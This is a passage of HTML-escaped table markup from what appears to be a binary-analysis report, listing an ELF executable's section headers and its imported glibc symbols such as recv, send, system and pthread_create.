      &lt;td style=&quot;text-align: left&quot;&gt;.dynamic&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bdd58&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x210&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbdd58&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DYNAMIC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.got&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6bdf68&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x88&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbdf68&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.got.plt&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6be000&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x4a8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbe000&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.data&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6be4c0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x288&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbe4c0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.bss&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x6be760&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x1a28&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbe748&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WA&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.comment&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x3e&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbe748&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;PROGBITS&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MS&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;.shstrtab&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0x10c&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0xbe786&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;STRTAB&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;-&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;symbols&quot;&gt;Symbols&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Type&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Bind&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Vis&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Ndx&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Name&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;LOCAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ZGTtnam&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;inet_ntop@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getenv@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;dl_iterate_phdr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;free@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;recv@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_create@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_detach@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;abort@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__errno_location@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;srandom@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;unlink@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strncpy@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strncmp@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;OBJECT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;stdout@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strcpy@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;writev@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;islower@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;toupper@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;qsort@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fread@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;OBJECT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;stdin@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;vsnprintf@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;setsockopt@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__xpg_strerror_r@GLIBC_2.3.4 (4)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fcntl@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;write@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getpid@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;NOTYPE&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;_ITM_RU1&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getpeername@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_once@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fclose@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;opendir@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;WEAK&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__pthread_key_create@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;dcgettext@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strlen@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getpwuid_r@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;chdir@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;__stack_chk_fail@GLIBC_2.4 (5)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;getuid@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;system@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;send@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strchr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;fgetpos@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;rewind@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;pthread_mutex_destroy@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;snprintf@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;nanosleep@GLIBC_2.2.5 (3)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;strrchr@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;ftruncate@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;uname@GLIBC_2.2.5 (2)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;FUNC&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;GLOBAL&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DEFAULT&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UND&lt;/td&gt;
